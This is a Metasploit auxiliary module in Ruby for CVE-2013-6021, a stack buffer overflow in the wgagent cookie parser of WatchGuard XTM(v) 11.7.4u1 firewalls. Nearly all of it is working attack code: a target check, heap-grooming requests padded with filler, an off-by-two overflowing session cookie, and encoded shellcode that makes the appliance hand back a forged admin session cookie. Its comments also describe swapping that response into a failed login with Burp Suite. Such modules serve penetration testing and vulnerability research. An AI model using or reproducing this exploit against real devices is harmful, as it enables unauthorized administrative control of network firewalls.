##
##

# copy to: modules/auxiliary/admin/http/

##
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'WatchGuard XTM(v) 11.7.4u1 - Get admin cookie ',
			'Description'	=> %q{
				This module exploits a buffer overflow vulnerability inside the cookie parser of 
				the wgagent process, running on WatchGuard firewall appliances (XTM(v)).
				This module use a dedicated shellcode which repairs the stack and returns into 
				the code section in order to generate and send back a new admin cookie.
				In order to use that session cookie, fire up Burp Suite or similar, attempt to login as admin using any password,
				intercept the HTTP "response", and then replace it with the provided response.
				This module should only work against version 11.7.4u1.
			},
			'Author'       =>
				[
					'st3n (http://funoverip.net)'
				],
			'License'		=> BSD_LICENSE,
			'Version' 		=> '$Revision: 00001 $',
			'References'	=>
				[
					[ 'CVE', 'CVE-2013-6021' ], 
					[ 'URL', 'http://www.kb.cert.org/vuls/id/233990' ],
					[ 'URL', 'http://watchguardsecuritycenter.com/2013/10/17/xtm-11-8-secfixes/' ],
					[ 'URL', 'http://funoverip.net/2013/10/watchguard-cve-2013-6021-stack-based-buffer-overflow-exploit/'],
				],
			))

		register_options(
			[
				Opt::RPORT(8080),
				OptBool.new('SSL', [ true,  "Use SSL", true ]),
			], self.class)
	end


	def run

		offByTwo = "\x44\x85"

                shellcode =
                        # shellcode: bypass password verification and return a session cookie
                        "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIMQJdYHfas030mQ" +
                        "KusPQWVoEPLKK5wtKOKOkOnkMM4HkO9okOoOePXpwuuXOsJgs4LMbWUTk1KNs04PUX" +
                        "eXD4tKTyvgQeZNGIaOgtptC78kM7X8VXGK6fWxnmPGL0MkzTKoVegxmYneidKNKOkO" +
                        "9WK5HxkNYoyoUPuP7pGpNkCpvlk9k5UPIoKO9oLKnmL4KNyoKOlKk5qx9nioioLKNu" +
                        "RLKNioYoMY3ttdc4NipTq4VhMYTL14NazLxPERuP30oqzMn0G54OuPmkXtyOeUtHlK" +
                        "sevhnkRrc8HGW47TeTwpuPEPgpNi4TwTMnNpZyuTgxKOn6K90ELPNkQU7xLKg0r4oy" +
                        "ctQ45TlMK35EISKOYoMYWt14MnppMfUTWxYohVk3KpuWMY0Empkw0ENXwtgpuPC0lK" +
                        "benpLKSpF0IWPDQ4Fh30s0Wp5PlMmCrMo3KO9olIpTUts4nic44dMnqnyPUTTHKOn6" +
                        "LIbeLXSVIW0EMvVb5PKw3uNt7pgpWpuPiWpEnluPWpwpGpOO0KzN34S8kOm7A";



                # Shellocde max length
                shellcode_max_len = 2000;

		# Is a WatchGuard appliance ?
		print_status("Sending HTTP ping request")
		if not is_watchguard
			print_error("Could not get 'pong' response")
			return nil
		end

		# Heap messaging
		print_status("Heap messaging ...")
		if not heap_messaging
			return nil
		end

		# Sending exploit
		print_status("Sending authentication bypass shellcode")
		res = send_request2(shellcode, shellcode_max_len, offByTwo)	
		if res
			# Code 200 ?
			if res.code == 200
                                print_status("Printing HTTP response")
                                print '-' * 60 + "\n"
                                print ("#{res.cmd_string}")
                                print ("#{res.headers}")
                                print ("")
                                print ("#{res.body}")
                                print '-' * 60 + "\n"

				# Admin already logged ?
				if res.body.match(/admin is currently logged/m)
					print_warning("Exploit succeeded but admin is already logged")
				# Got session cookie ?
				elsif res.to_s.match(/sessionid=/m)
                                        print_good("Exploit succeeded")
					print_good("Now, intercept the HTTP response of a failed login attempt (using BurpSuite), and replace it with this HTTP response")
					print_good("See example at http://funoverip.net/2013/10/watchguard-cve-2013-6021-stack-based-buffer-overflow-exploit/'")
				else
					print_status("unknown answer")
                                end
			else
				print_error("Expected HTTP code 200, but got #{res.code}. Try again ?")
			end
		end


	end

	# Heap messaging.
	# send request1 5 times
	def heap_messaging
		for i in 0..5
	                res = send_request1
        	        if not res or res.code != 200
                	        print_error("Expecting HTTP 200 code but got '#{res.code} #{(res.message and res.message.length > 0) ? ' ' + res.message : ''}'")
                        	return false
	                end
		end
		return true
	end



	def send_request1
                request1_uri            = '/agent/ping'
                request1_user_agent     = 'a' * 100 + 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0  ' + 'a' * 100
                request1_accept         = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, ' + 'a' * 992
                request1_accept_language= 'en-gb,en;q=0.5' + 'a' * 200
                request1_content_type   = 'application/xml'
                request1_cookie         = 'sessionid=' + 'A' * 120
                request1_accept_charset = 'utf-8'
                request1_post_data      = 'foo'

                res = send_request_cgi({
                        'method'        =>      'POST',
                        'uri'           =>      request1_uri,
                        'ctype'         =>      request1_content_type,
                        'agent'         =>      request1_user_agent,
                        'headers'       =>      {
                                                        'Accept'                =>      request1_accept,
                                                        'Accept-Language'       =>      request1_accept_language,
                                                        'Cookie'                =>      request1_cookie,
                                                        'Accept-Charset'        =>      request1_accept_charset,
                                                },
                        'data'          =>      request1_post_data,
                })

		if not res
			print_error("HTTP request failed")
			return nil
		end
		return res
	end


	def send_request2(shellcode, shellcode_max_len, offByTwo)

		# our buffer is like this
		# NOPs + ALPHA_ECX24 + SHELLOCDE
	
		# where:
		#	- NOP 		= '\x4a'  (dec edx). EDX = 0 at the beginning
		#	- ALPHA_ESI24	= set the address of the shellcode in EAX 
		#				- EAX = [ECX+0x24]
		#				- EAX = EAX - EDX (edx was decremented by nopsled)
		#				- EAX = EAX + length(ALPHA_ECX24)
		#	- SHELLOCDE	= ....

		alpha2_ecx24 =
			# set our shellcode address into EAX (expected by alpha2 encoder)
			"\x8b\x41\x24" +	# mov    eax, [ecx+0x24]
			"\x29\xd0" +            # sub    eax, edx ; (edx is updated by nopsled)
			"\x83\xc0\x40" +        # add    eax, 0x40
			"\x83\xe8\x35"          # sub    eax, 0x35
		# for the reader, "add eax, edx" contains bad chars. This is the reason why the nopsled decrement EDX and that we use "dec eax, edx"



                request2_sessionid      = 'A' * 140 + offByTwo

                request2_post_data      = "<methodCall><methodName>login</methodName><params><param><value><struct><member>"
                request2_post_data      << "<name>password</name><value><string>foo</string></value></member><member>"
                request2_post_data      << "<name>user</name><value><string>admin</string></value></member></struct></value>"
                request2_post_data      << "</param></params></methodCall>"

                request2_uri            = '/agent/ping'
                request2_user_agent     = 'a' * 1879
                request2_accept_encoding= 'identity,' + 'b' * 1386
                request2_connection     = 'keep-alive'  + 'a' * 22
		request2_connection	<< "\x4a" * (shellcode_max_len - shellcode.length - alpha2_ecx24.length)
                request2_connection     << alpha2_ecx24 
                request2_connection     << shellcode 
                request2_content_type   = 'application/xml'
                request2_cookie         = 'sessionid=' + request2_sessionid
                request2_accept_charset = 'utf-8'


                res = send_request_cgi({
                        'method'        =>      'POST',
                        'uri'           =>      request2_uri,
                        'ctype'         =>      request2_content_type,
                        'agent'         =>      request2_user_agent,
                        'connection'    =>      request2_connection,
                        'headers'       =>      {
                                                        'Accept-Encoding'       =>      request2_accept_encoding,
                                                        'Cookie'                =>      request2_cookie,
                                                        'Accept-Charset'        =>      request2_accept_charset,
                                                },
                        'data'          =>      request2_post_data,
                })

                return res


	end

	def is_watchguard

                res = send_request_cgi({
                        'method'        =>      'GET',
                        'uri'           =>      '/ping',
                })
		if not res
			return false
		end

		if res.code == 200 and res.body.match(/pong/m)
			return true
		else
			return false
		end
	end

end